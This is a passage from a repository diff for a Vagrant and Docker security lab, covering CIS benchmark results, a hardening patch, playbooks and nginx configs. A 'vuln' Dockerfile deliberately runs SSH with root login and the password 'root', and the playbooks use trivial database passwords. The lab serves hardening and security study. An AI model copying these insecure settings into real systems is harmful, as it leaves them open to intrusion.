"id": "4.12",
"desc": "Ensure all signed artifacts are validated (Manual)",
"result": "NOTE"
}
]
},
{
"id": "5",
"desc": "Container Runtime",
"results": [
{
"id": "5.1",
"desc": "Ensure swarm mode is not Enabled, if not needed (Automated)",
"result": "PASS"
},
{
"id": "5.2",
"desc": "Ensure that, if applicable, an AppArmor Profile is enabled (Automated)",
"result": "PASS"
},
{
"id": "5.3",
"desc": "Ensure that, if applicable, SELinux security options are set (Automated)",
"result": "WARN",
"details": "Containers with no SecurityOptions: vaultwarden nginx gitea",
"items": [
"vaultwarden","nginx","gitea"
]
},
{
"id": "5.4",
"desc": "Ensure that Linux kernel capabilities are restricted within containers (Automated)",
"result": "PASS"
},
{
"id": "5.5",
"desc": "Ensure that privileged containers are not used (Automated)",
"result": "PASS"
},
{
"id": "5.6",
"desc": "Ensure sensitive host system directories are not mounted on containers (Automated)",
"result": "PASS"
},
{
"id": "5.7",
"desc": "Ensure sshd is not run within containers (Automated)",
"result": "WARN",
"details": "Containers with sshd/docker exec failures: gitea",
"items": [
"gitea"
]
},
{
"id": "5.8",
"desc": "Ensure privileged ports are not mapped within containers (Automated)",
"result": "WARN",
"details": "Containers using privileged ports: nginx:80 nginx:443",
"items": [
"nginx:80","nginx:443"
]
},
{
"id": "5.9",
"desc": "Ensure that only needed ports are open on the container (Manual)",
"result": "WARN",
"details": "Containers with open ports: nginx:80 nginx:443",
"items": [
"nginx:80","nginx:443"
]
},
{
"id": "5.10",
"desc": "Ensure that the host's network namespace is not shared (Automated)",
"result": "PASS"
},
{
"id": "5.11",
"desc": "Ensure that the memory usage for containers is limited (Automated)",
"result": "PASS"
},
{
"id": "5.12",
"desc": "Ensure that CPU priority is set appropriately on containers (Automated)",
"result": "PASS"
},
{
"id": "5.13",
"desc": "Ensure that the container's root filesystem is mounted as read only (Automated)",
"result": "WARN",
"details": "Containers running with root FS mounted R/W: vaultwarden gitea",
"items": [
"vaultwarden","gitea"
]
},
{
"id": "5.14",
"desc": "Ensure that incoming container traffic is bound to a specific host interface (Automated)",
"result": "WARN",
"details": "Containers with port bound to wildcard IP: nginx:0.0.0.0 nginx:0.0.0.0",
"items": [
"nginx:0.0.0.0","nginx:0.0.0.0"
]
},
{
"id": "5.15",
"desc": "Ensure that the 'on-failure' container restart policy is set to '5' (Automated)",
"result": "PASS"
},
{
"id": "5.16",
"desc": "Ensure that the host's process namespace is not shared (Automated)",
"result": "PASS"
},
{
"id": "5.17",
"desc": "Ensure that the host's IPC namespace is not shared (Automated)",
"result": "PASS"
},
{
"id": "5.18",
"desc": "Ensure that host devices are not directly exposed to containers (Manual)",
"result": "PASS"
},
{
"id": "5.19",
"desc": "Ensure that the default ulimit is overwritten at runtime if needed (Manual)",
"result": "INFO",
"details": "Containers with no default ulimit override: vaultwarden nginx gitea",
"items": [
"vaultwarden","nginx","gitea"
]
},
{
"id": "5.20",
"desc": "Ensure mount propagation mode is not set to shared (Automated)",
"result": "PASS"
},
{
"id": "5.21",
"desc": "Ensure that the host's UTS namespace is not shared (Automated)",
"result": "PASS"
},
{
"id": "5.22",
"desc": "Ensure the default seccomp profile is not Disabled (Automated)",
"result": "PASS"
},
{
"id": "5.23",
"desc": "Ensure that docker exec commands are not used with the privileged option (Automated)",
"result": "NOTE"
},
{
"id": "5.24",
"desc": "Ensure that docker exec commands are not used with the user=root option (Manual)",
"result": "NOTE"
},
{
"id": "5.25",
"desc": "Ensure that cgroup usage is confirmed (Automated)",
"result": "PASS"
},
{
"id": "5.26",
"desc": "Ensure that the container is restricted from acquiring additional privileges (Automated)",
"result": "PASS"
},
{
"id": "5.27",
"desc": "Ensure that container health is checked at runtime (Automated)",
"result": "WARN",
"details": "Containers without health check: nginx",
"items": [
"nginx"
]
},
{
"id": "5.28",
"desc": "Ensure that Docker commands always make use of the latest version of their image (Manual)",
"result": "INFO"
},
{
"id": "5.29",
"desc": "Ensure that the PIDs cgroup limit is used (Automated)",
"result": "PASS"
},
{
"id": "5.30",
"desc": "Ensure that Docker's default bridge 'docker0' is not used (Manual)",
"result": "PASS"
},
{
"id": "5.31",
"desc": "Ensure that the host's user namespaces are not shared (Automated)",
"result": "PASS"
},
{
"id": "5.32",
"desc": "Ensure that the Docker socket is not mounted inside any containers (Automated)",
"result": "PASS"
}
]
},
{
"id": "6",
"desc": "Docker Security Operations",
"results": [
{
"id": "6.1",
"desc": "Ensure that image sprawl is avoided (Manual)",
"result": "INFO",
"details": "3 active/3 in use"
},
{
"id": "6.2",
"desc": "Ensure that container sprawl is avoided (Manual)",
"result": "INFO",
"details": "3 total/3 running"
}
]
},
{
"id": "7",
"desc": "Docker Swarm Configuration",
"results": [
{
"id": "7.1",
"desc": "Ensure that the minimum number of manager nodes have been created in a swarm (Automated)",
"result": "PASS"
},
{
"id": "7.2",
"desc": "Ensure that swarm services are bound to a specific host interface (Automated)",
"result": "PASS"
},
{
"id": "7.3",
"desc": "Ensure that all Docker swarm overlay networks are encrypted (Automated)",
"result": "PASS"
},
{
"id": "7.4",
"desc": "Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual)",
"result": "PASS"
},
{
"id": "7.5",
"desc": "Ensure that swarm manager is run in auto-lock mode (Automated)",
"result": "PASS"
},
{
"id": "7.6",
"desc": "Ensure that the swarm manager auto-lock key is rotated periodically (Manual)",
"result": "PASS"
},
{
"id": "7.7",
"desc": "Ensure that node certificates are rotated as appropriate (Manual)",
"result": "PASS"
},
{
"id": "7.8",
"desc": "Ensure that CA certificates are rotated as appropriate (Manual)",
"result": "PASS"
},
{
"id": "7.9",
"desc": "Ensure that management plane traffic is separated from data plane traffic (Manual)",
"result": "PASS"
}
]
}
],
"checks": 117,
"score": 36,
"end": 1747671769
}

File diff suppressed because it is too large Load Diff

171
webserver/hardened.patch Normal file
View File

@ -0,0 +1,171 @@
diff --color -ruN hybrid/sandbox/docker-compose.yml hardened/sandbox/docker-compose.yml
--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
+++ hardened/sandbox/docker-compose.yml 2025-05-19 17:33:43.963243018 +0200
@@ -14,6 +14,15 @@
- 80
extra_hosts:
- "postgres:172.18.0.1"
+ deploy:
+ resources:
+ limits:
+ memory: 256M
+ cpus: '0.25'
+ pids: 100
+ reservations:
+ memory: 128M
+ cpus: '0.10'
gitea:
image: docker.gitea.com/gitea:latest
@@ -39,15 +48,20 @@
- 22
extra_hosts:
- "postgres:172.18.0.1"
-
- vulnerable:
- build: /vagrant/sandbox/vuln
- ports:
- - 2222:22
- networks:
- - internal
- extra_hosts:
- - "postgres:172.18.0.1"
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://localhost:3000/api/healthz"]
+ interval: 1m30s
+ timeout: 10s
+ retries: 3
+ deploy:
+ resources:
+ limits:
+ memory: 512M
+ cpus: '0.50'
+ pids: 100
+ reservations:
+ memory: 256M
+ cpus: '0.25'
nginx:
image: nginx:latest
@@ -59,8 +73,22 @@
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- - 80:80
- - 443:443
+ - 0.0.0.0:80:80
+ - 0.0.0.0:443:443
+ deploy:
+ resources:
+ limits:
+ memory: 128M
+ cpus: '0.25'
+ pids: 100
+ reservations:
+ memory: 64M
+ cpus: '0.10'
+ read_only: true
+ tmpfs:
+ - /tmp
+ - /run
+ - /var/cache/nginx
networks:
internal:
diff --color -ruN hybrid/sandbox/playbook.yml hardened/sandbox/playbook.yml
--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
+++ hardened/sandbox/playbook.yml 2025-05-19 18:21:22.570964238 +0200
@@ -20,9 +20,10 @@
- acl
- bc
- sysstat
+ - auditd
state: latest
update_cache: true
-
+
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
@@ -209,6 +210,63 @@
state: present
notify: Restart PostgreSQL
+ - name: Configure audit rules for Docker
+ copy:
+ dest: /etc/audit/rules.d/docker.rules
+ owner: root
+ group: root
+ mode: '0640'
+ content: |
+ -w /usr/bin/dockerd -k docker
+ -w /run/containerd -k docker
+ -w /var/lib/docker -k docker
+ -w /etc/docker -k docker
+ -w /lib/systemd/system/docker.service -k docker
+ -w /run/containerd/containerd.sock -k docker
+ -w /var/run/docker.sock -k docker
+ -w /etc/default/docker -k docker
+ -w /etc/docker/daemon.json -k docker
+ -w /etc/containerd/config.toml -k docker
+ -w /etc/sysconfig/docker -k docker
+ -w /usr/bin/containerd -k docker
+ -w /usr/bin/containerd-shim -k docker
+ -w /usr/bin/containerd-shim-runc-v1 -k docker
+ -w /usr/bin/containerd-shim-runc-v2 -k docker
+ -w /usr/bin/runc -k docker
+ -w /usr/lib/systemd/system/docker.socket -k docker
+ -w /usr/bin/containerd -k docker
+ -w /usr/bin/containerd-shim -k docker
+ -w /usr/bin/containerd-shim-runc-v1 -k docker
+ -w /usr/bin/containerd-shim-runc-v2 -k docker
+ -w /usr/bin/runc -k docker
+
+ - name: Restart auditd to apply new rules
+ service:
+ name: auditd
+ state: restarted
+ enabled: yes
+
+ - name: Ensure Docker daemon configuration is hardened
+ copy:
+ dest: /etc/docker/daemon.json
+ owner: root
+ group: root
+ mode: '0644'
+ content: |
+ {
+ "live-restore": true,
+ "icc": false,
+ "no-new-privileges": true,
+ "log-level": "info",
+ "log-driver": "json-file",
+ "log-opts": {
+ "max-size": "10m",
+ "max-file": "3"
+ },
+ "userland-proxy": false
+ }
+ notify: Restart Docker
+
- name: Ensure Docker service is running
service:
name: docker
@@ -220,10 +278,15 @@
args:
chdir: /home/vagrant
-
handlers:
- name: Restart PostgreSQL
become: yes
service:
name: postgresql
+ state: restarted
+
+ - name: Restart Docker
+ become: yes
+ systemd:
+ name: docker
state: restarted
\ No newline at end of file

61
webserver/hardened/Vagrantfile vendored Normal file
View File

@ -0,0 +1,61 @@
Vagrant.configure("2") do |config|
BOX_NAME = "ubuntu/jammy64"
BOX_VERSION = "20241002.0.0"
DESKTOP_BOX_NAME = "kalilinux/rolling"
DESKTOP_BOX_VERSION = "2025.1.0"
config.vm.define "sandbox" do |sandbox|
sandbox.vm.box = BOX_NAME
sandbox.vm.box_version = BOX_VERSION
sandbox.vm.hostname = "sandbox.vm"
sandbox.vm.network "private_network", ip: "192.168.56.10"
sandbox.vbguest.no_install = true
sandbox.vm.provider "virtualbox" do |v|
v.memory = 2048
v.cpus = 2
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
end
sandbox.vm.synced_folder ".", "/vagrant"
sandbox.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/sandbox/playbook.yml"
end
sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
end
config.vm.define "client" do |client|
client.vm.box = DESKTOP_BOX_NAME
client.vm.box_version = DESKTOP_BOX_VERSION
client.vm.hostname = "client.vm"
client.vm.network "private_network", ip: "192.168.56.20"
client.vbguest.installer = :debian
client.vm.provider "virtualbox" do |v|
v.memory = 4096
v.cpus = 2
v.customize ["modifyvm", :id, "--accelerate3d", "on"]
v.customize ["modifyvm", :id, "--vram", "128"]
v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
end
client.vm.synced_folder ".", "/vagrant"
# required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
client.vm.provision "ansible_local" do |ansible|
ansible.playbook = "/vagrant/client/playbook.yml"
end
end
end

View File

@ -0,0 +1,30 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
# - name: Add Metasploit PPA
# apt_repository:
# repo: ppa:metasploit-official
# state: present
# update_cache: yes
- name: Install tools
apt:
pkg:
# - metasploit-framework
- curl
- nmap
- libnss3-tools
state: present
update_cache: yes
- name: Add sandbox hostnames to /etc/hosts
lineinfile:
path: /etc/hosts
line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
state: present

View File

@ -0,0 +1,99 @@
services:
vaultwarden:
image: vaultwarden/server:latest
container_name: vaultwarden
restart: unless-stopped
networks:
- internal
environment:
DOMAIN: "https://bitwarden.vm.local"
DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
volumes:
- ./vw-data/:/data/
expose:
- 80
extra_hosts:
- "postgres:172.18.0.1"
deploy:
resources:
limits:
memory: 256M
cpus: '0.25'
pids: 100
reservations:
memory: 128M
cpus: '0.10'
gitea:
image: docker.gitea.com/gitea:latest
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
- GITEA__database__DB_TYPE=postgres
- GITEA__database__HOST=postgres:5432
- GITEA__database__NAME=gitea
- GITEA__database__USER=gitea
- GITEA__database__PASSWD=gitea
- GITEA__security__INSTALL_LOCK=true
restart: unless-stopped
networks:
- internal
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
expose:
- 3000
- 22
extra_hosts:
- "postgres:172.18.0.1"
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:3000/api/healthz"]
interval: 1m30s
timeout: 10s
retries: 3
deploy:
resources:
limits:
memory: 512M
cpus: '0.50'
pids: 100
reservations:
memory: 256M
cpus: '0.25'
nginx:
image: nginx:latest
container_name: nginx
restart: unless-stopped
networks:
- internal
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./nginx/certs:/etc/nginx/certs
ports:
- 0.0.0.0:80:80
- 0.0.0.0:443:443
deploy:
resources:
limits:
memory: 128M
cpus: '0.25'
pids: 100
reservations:
memory: 64M
cpus: '0.10'
read_only: true
tmpfs:
- /tmp
- /run
- /var/cache/nginx
networks:
internal:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
gateway: 172.18.0.1

View File

@ -0,0 +1,33 @@
server {
listen 443 ssl;
server_name gitea.vm.local;
ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
location / {
proxy_pass http://gitea:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 443 ssl;
server_name bitwarden.vm.local;
ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
location / {
proxy_pass http://vaultwarden:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
server {
listen 80;
server_name _;
return 301 https://$host$request_uri;
}

View File

@ -0,0 +1,292 @@
---
- hosts: all
become: true
vars:
container_count: 1
default_container_name: docker
default_container_image: hello-world
default_container_command: sleep 1
tasks:
- name: Install required system packages
apt:
pkg:
- apt-transport-https
- ca-certificates
- curl
- software-properties-common
- virtualenv
- python3-psycopg2
- postgresql
- acl
- bc
- sysstat
- auditd
state: latest
update_cache: true
- name: Copy nginx conf
copy:
src: /vagrant/sandbox/nginx.conf
dest: /home/vagrant/nginx.conf
- name: Copy docker compose
copy:
src: /vagrant/sandbox/docker-compose.yml
dest: /home/vagrant/docker-compose.yml
- name: Ensure certs directory exists
file:
path: /home/vagrant/nginx/certs
state: directory
mode: '0755'
- name: Install mkcert dependencies
apt:
pkg:
- libnss3-tools
- ca-certificates
state: present
update_cache: yes
- name: Download mkcert binary
get_url:
url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
dest: /usr/local/bin/mkcert
mode: '0755'
register: mkcert_download
- name: Ensure mkcert CAROOT directory exists
file:
path: /home/vagrant/.local/share/mkcert
state: directory
mode: '0755'
- name: Initialize mkcert CA
command: mkcert -install
environment:
XDG_DATA_HOME: /home/vagrant/.local/share
CAROOT: /home/vagrant/.local/share/mkcert
args:
creates: /home/vagrant/.local/share/mkcert/rootCA.pem
- name: Generate cert for gitea.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
-key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
gitea.vm.local
args:
creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
- name: Generate cert for bitwarden.vm.local
command: >
mkcert
-cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
-key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
bitwarden.vm.local
args:
creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
- name: Ensure export directory exists
file:
path: /vagrant/shared/ca
state: directory
mode: '0755'
- name: Copy mkcert rootCA.pem to shared directory
copy:
src: /home/vagrant/.local/share/mkcert/rootCA.pem
dest: /vagrant/shared/ca/rootCA.pem
remote_src: yes
- name: Add Docker GPG apt Key
apt_key:
url: https://download.docker.com/linux/ubuntu/gpg
state: present
- name: Add Docker Repository
apt_repository:
repo: deb https://download.docker.com/linux/ubuntu focal stable
state: present
- name: Update apt and install docker-ce
apt:
pkg:
- docker-ce
- docker-compose-plugin
state: latest
update_cache: true
- name: Add 'vagrant' and 'git' users to docker group
user:
name: "{{ item }}"
groups: docker
append: yes
loop:
- vagrant
- git
- name: Create git user
user:
name: git
shell: /home/git/docker-shell
home: /home/git
create_home: yes
- name: Deploy docker passthrough shell
copy:
dest: /home/git/docker-shell
content: |
#!/bin/sh
exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
mode: '0755'
- name: Update SSH config for git user
blockinfile:
path: /etc/ssh/sshd_config
block: |
Match User git
AuthorizedKeysCommandUser git
AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
- name: Restart SSH
service:
name: ssh
state: restarted
- name: Ensure PostgreSQL service is running
service:
name: postgresql
state: started
enabled: yes
- name: Create PostgreSQL user for gitea
become: true
become_user: postgres
postgresql_user:
name: gitea
password: gitea
state: present
- name: Create PostgreSQL database for gitea
become: true
become_user: postgres
postgresql_db:
name: gitea
owner: gitea
state: present
- name: Create PostgreSQL user for vaultwarden
become: true
become_user: postgres
postgresql_user:
name: vaultwarden
password: vaultwarden
state: present
- name: Create PostgreSQL database for vaultwarden
become: true
become_user: postgres
postgresql_db:
name: vaultwarden
owner: vaultwarden
state: present
- name: Set PostgreSQL to listen on localhost and Docker bridge IP
become: yes
lineinfile:
path: /etc/postgresql/14/main/postgresql.conf
regexp: '^#?listen_addresses\s*='
line: "listen_addresses = 'localhost,172.18.0.1'"
notify: Restart PostgreSQL
- name: Allow connections from Docker subnet in pg_hba.conf
become: yes
lineinfile:
path: /etc/postgresql/14/main/pg_hba.conf
line: 'host all all 172.18.0.0/16 md5'
create: yes
insertafter: EOF
state: present
notify: Restart PostgreSQL
- name: Configure audit rules for Docker
copy:
dest: /etc/audit/rules.d/docker.rules
owner: root
group: root
mode: '0640'
content: |
-w /usr/bin/dockerd -k docker
-w /run/containerd -k docker
-w /var/lib/docker -k docker
-w /etc/docker -k docker
-w /lib/systemd/system/docker.service -k docker
-w /run/containerd/containerd.sock -k docker
-w /var/run/docker.sock -k docker
-w /etc/default/docker -k docker
-w /etc/docker/daemon.json -k docker
-w /etc/containerd/config.toml -k docker
-w /etc/sysconfig/docker -k docker
-w /usr/bin/containerd -k docker
-w /usr/bin/containerd-shim -k docker
-w /usr/bin/containerd-shim-runc-v1 -k docker
-w /usr/bin/containerd-shim-runc-v2 -k docker
-w /usr/bin/runc -k docker
-w /usr/lib/systemd/system/docker.socket -k docker
-w /usr/bin/containerd -k docker
-w /usr/bin/containerd-shim -k docker
-w /usr/bin/containerd-shim-runc-v1 -k docker
-w /usr/bin/containerd-shim-runc-v2 -k docker
-w /usr/bin/runc -k docker
- name: Restart auditd to apply new rules
service:
name: auditd
state: restarted
enabled: yes
- name: Ensure Docker daemon configuration is hardened
copy:
dest: /etc/docker/daemon.json
owner: root
group: root
mode: '0644'
content: |
{
"live-restore": true,
"icc": false,
"no-new-privileges": true,
"log-level": "info",
"log-driver": "json-file",
"log-opts": {
"max-size": "10m",
"max-file": "3"
},
"userland-proxy": false
}
notify: Restart Docker
- name: Ensure Docker service is running
service:
name: docker
state: started
enabled: true
- name: Run docker compose up -d
command: docker compose up -d
args:
chdir: /home/vagrant
handlers:
- name: Restart PostgreSQL
become: yes
service:
name: postgresql
state: restarted
- name: Restart Docker
become: yes
systemd:
name: docker
state: restarted

View File

@ -0,0 +1,9 @@
FROM ubuntu:22.04
RUN apt update && apt install -y openssh-server
RUN echo 'root:root' | chpasswd
RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D"]

View File

@ -1,6 +1,6 @@
diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.yml
--- base/sandbox/docker-compose.yml 2025-05-16 19:46:23.713755709 +0200
+++ hybrid/sandbox/docker-compose.yml 2025-05-16 20:37:19.376016608 +0200
+++ hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
@@ -4,28 +4,16 @@
container_name: vaultwarden
restart: unless-stopped
@ -78,7 +78,7 @@ diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.
- 2222:22
networks:
- - nginx
+ - default
+ - internal
+ extra_hosts:
+ - "postgres:172.18.0.1"
@ -110,8 +110,8 @@ diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.
+ gateway: 172.18.0.1
\ No newline at end of file
diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
--- base/sandbox/playbook.yml 2025-05-16 14:24:38.114525247 +0200
+++ hybrid/sandbox/playbook.yml 2025-05-16 20:46:03.184604976 +0200
--- base/sandbox/playbook.yml 2025-05-17 15:34:39.895845622 +0200
+++ hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
@@ -15,6 +15,9 @@
- curl
- software-properties-common
@ -119,10 +119,10 @@ diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
+ - python3-psycopg2
+ - postgresql
+ - acl
- bc
- sysstat
state: latest
update_cache: true
@@ -148,6 +151,62 @@
@@ -150,6 +153,62 @@
name: ssh
state: restarted
@ -185,7 +185,7 @@ diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
- name: Ensure Docker service is running
service:
name: docker
@@ -157,4 +216,12 @@
@@ -159,4 +218,12 @@
- name: Run docker compose up -d
command: docker compose up -d
args:
@ -201,177 +201,3 @@ diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
+ name: postgresql
+ state: restarted
\ No newline at end of file
diff --color -ruN base/shared/ca/rootCA.pem hybrid/shared/ca/rootCA.pem
--- base/shared/ca/rootCA.pem 2025-05-16 14:13:52.000000000 +0200
+++ hybrid/shared/ca/rootCA.pem 2025-05-16 20:48:56.000000000 +0200
@@ -1,26 +1,26 @@
-----BEGIN CERTIFICATE-----
-MIIEeTCCAuGgAwIBAgIQCbH+Liv4sQVPc8WF+RDDnTANBgkqhkiG9w0BAQsFADBV
-MR4wHAYDVQQKExVta2NlcnQgZGV2ZWxvcG1lbnQgQ0ExFTATBgNVBAsMDHJvb3RA
-c2FuZGJveDEcMBoGA1UEAwwTbWtjZXJ0IHJvb3RAc2FuZGJveDAeFw0yNTA1MTYx
-MjEzNTJaFw0zNTA1MTYxMjEzNTJaMFUxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9w
-bWVudCBDQTEVMBMGA1UECwwMcm9vdEBzYW5kYm94MRwwGgYDVQQDDBNta2NlcnQg
-cm9vdEBzYW5kYm94MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEA6oue
-J4Wg4kPEewbZOg6fw+so6rcP8wfsBSiZYlJfe8RpTZe4UzUFKpairLrs0ghqgwSN
-GoTn3UlolEilXm3nhuwhQZ2FUluO42RyQJcxXlOKMd3yhSyf3WgsC/8WktgqsjHY
-n1msUZ3YdFKc6SSnZVLQRj1/Eoj8N/b/sBqpkTFp5A/TpMizzmzx8k8rOhQVxvLy
-ZbXJt2jXxM66+7tnSXFyZFp0SGTniJfGP6QhpBTtHyUEGU/IbmTOEOUHydKkBADH
-r+/e6P3bb8hGmW66ksLiytzBiJuY3N+Rps1a7t+0+ZBHQxW5o2ZwmvbsWuqYpbB4
-y/xM/IuK60kM8WTFJm83ggAk2Lf4DY75OqMhw0SBEU095fJnMMnmWLtqvDdDtZaR
-jZ9X1NuXRTk2WuwVVIiBwJ946qH5SUdsxfyOF2QeeX73snX8fKFmQ4Eoq0c+CnbB
-FXh/gWNmlSpTN7x3j/Jnr/15HcAZeB2fA09ZVmXKbzat+mELUb/CQgrIYgGpAgMB
-AAGjRTBDMA4GA1UdDwEB/wQEAwICBDASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1Ud
-DgQWBBSSDE7+6Nbyr0SAytNA8cqlQbckPzANBgkqhkiG9w0BAQsFAAOCAYEA2s0z
-ijDpyTdNviZZhxcHydGkSEJkOwJVsN5DVVksKrWKlcDR9f0NCYLxA1IGhaNYVg3Y
-ipeAqAgqjauM71z/UvC3BrIOJhXa5lXqi36Syw9BFlUF0KH48BnklJpJfmdcRQ+T
-mQf52TNFr39pBTrCjvlIGm6aMvGy+TWyuwo+GO1GyBRVT9fiD988uPNIFSNCFJWp
-87xNfl+qdZxDIdYr4qh12t4y7IKziklAC+P0oAnNXcVGomACW7p+VqeLineYOaNJ
-1NfEiZZ+SJ6U9KmEOuFIwPx8cSVzmbfA6V+kE6ZL4KQjRGwAJr3uQmgEvA9LTz+L
-U4aYk/Nsue2xXRN72XG42FARZ68DftqH6Csi+BNWX0BpB4ph5Ue8rdrYt+97nVX7
-iRN1+lXx3xjxv80gh20iCOAEyq6Z+gblgCf19x1K7hVSFI/iuTXq0TYLdLM36mhi
-pIa3uAsYU9lPn5Vig1GptLN7dg9cXmBkkZnShrNsAGi2G6qJYMQ+50So3Btk
+MIIEejCCAuKgAwIBAgIRAK9Fw1j5+aJLyagdMqeXZ4YwDQYJKoZIhvcNAQELBQAw
+VTEeMBwGA1UEChMVbWtjZXJ0IGRldmVsb3BtZW50IENBMRUwEwYDVQQLDAxyb290
+QHNhbmRib3gxHDAaBgNVBAMME21rY2VydCByb290QHNhbmRib3gwHhcNMjUwNTE2
+MTg0ODU2WhcNMzUwNTE2MTg0ODU2WjBVMR4wHAYDVQQKExVta2NlcnQgZGV2ZWxv
+cG1lbnQgQ0ExFTATBgNVBAsMDHJvb3RAc2FuZGJveDEcMBoGA1UEAwwTbWtjZXJ0
+IHJvb3RAc2FuZGJveDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAJy3
+m1f1srCfFhP6gB0Ov6jXev/B9YJeAbFZxafprUVRIUVwepAlteYTq5fcYtpOUKhR
+SW8aYuHi6nVuOSJhXgrDvp+eVm0cgyiklO063a/XCU5hmFPvULqkKvSaGl3hF/2A
+Ya51fsO/P9IqruaBJEKsBovVPCa/GMpnF8EbGbL3lWLMWeQZLCpoFoT1gAmJOyWd
+TUX9MBuxVMJxwyugliUjPPWOrvuH3u5vaDKB2LBkHUmG2cGDRfKzf1Q5Z6vT4DNL
+EstSD3T2DDIVYtnHr42HKMC/kYK1SKaiH+8lvTtEjKMR1T4L4Bv6AkEKuLdiy20Q
++5SPiUqCq8+EpDOrbJM8RKR+K7Y3g52iZDyTNoz+j99oBB+Kovnj7sn9OH2ZyjBb
++9pKjzx5l/d6EbobVvZwhXIkd/zF3Nhifm9v0WTN+yuCaznLzoqufSFhFZ3yOvPN
+iW1FhisLIGaE33HQgfSG8P/RGMx//37eDRjZ5pvr78pS5N265SzkXneHD/i0fQID
+AQABo0UwQzAOBgNVHQ8BAf8EBAMCAgQwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNV
+HQ4EFgQUN7MwujcQvMi1b6VUfCip3TiLwBcwDQYJKoZIhvcNAQELBQADggGBAGHv
+XUwADq1UdY6mz3+4zk823Hd45BqDX0GHX4mamGkck0n+6f4dhEHsKsvp/ULzY2/E
+wW5jVCEs/qNGY2U8iqpV/B7ldne5/nugF0rXFfKcVNRi9qLr2KJYZxeKFnbUgDeJ
+VNrf7hCp8hrwSlwmF8DxdST+ZdtJk2optf5CJ+6pj+k67o7em/4pRgCQX9oy/n/4
+NHORnypwVOsEjh4j7qFSxJ44fDpSO3EzOmTdnIxeNVnb5IaY40qkCwCUlQXwjBYh
+Ws0ryqRsaENbBtlZh3ZrJxRDBQhzi145xXujkaDs83vAc5QVoGYXrlF/1uHFUBNc
+Suk++hOA1Y32dwOAkZZhzheZGOu8Jq0+dTsXDqM7aGeu/MfBVLBgZTUz7DumAzLT
+Mfr6h9069fi50G3cqzAkhmUDSUwwJsGyGCHzulJyt5rEk9mxogPT2L5bVHmt2L8K
+kLiPaz2BOiSLJCxlhChBKxSQB8gSHLUR6NS4A+3L8sBA7tU0xwmq5Y7AgdTY2Q==
-----END CERTIFICATE-----
diff --color -ruN base/.vagrant/machines/client/virtualbox/action_provision hybrid/.vagrant/machines/client/virtualbox/action_provision
--- base/.vagrant/machines/client/virtualbox/action_provision 1970-01-01 01:00:00.000000000 +0100
+++ hybrid/.vagrant/machines/client/virtualbox/action_provision 2025-05-16 19:37:10.086762165 +0200
@@ -0,0 +1 @@
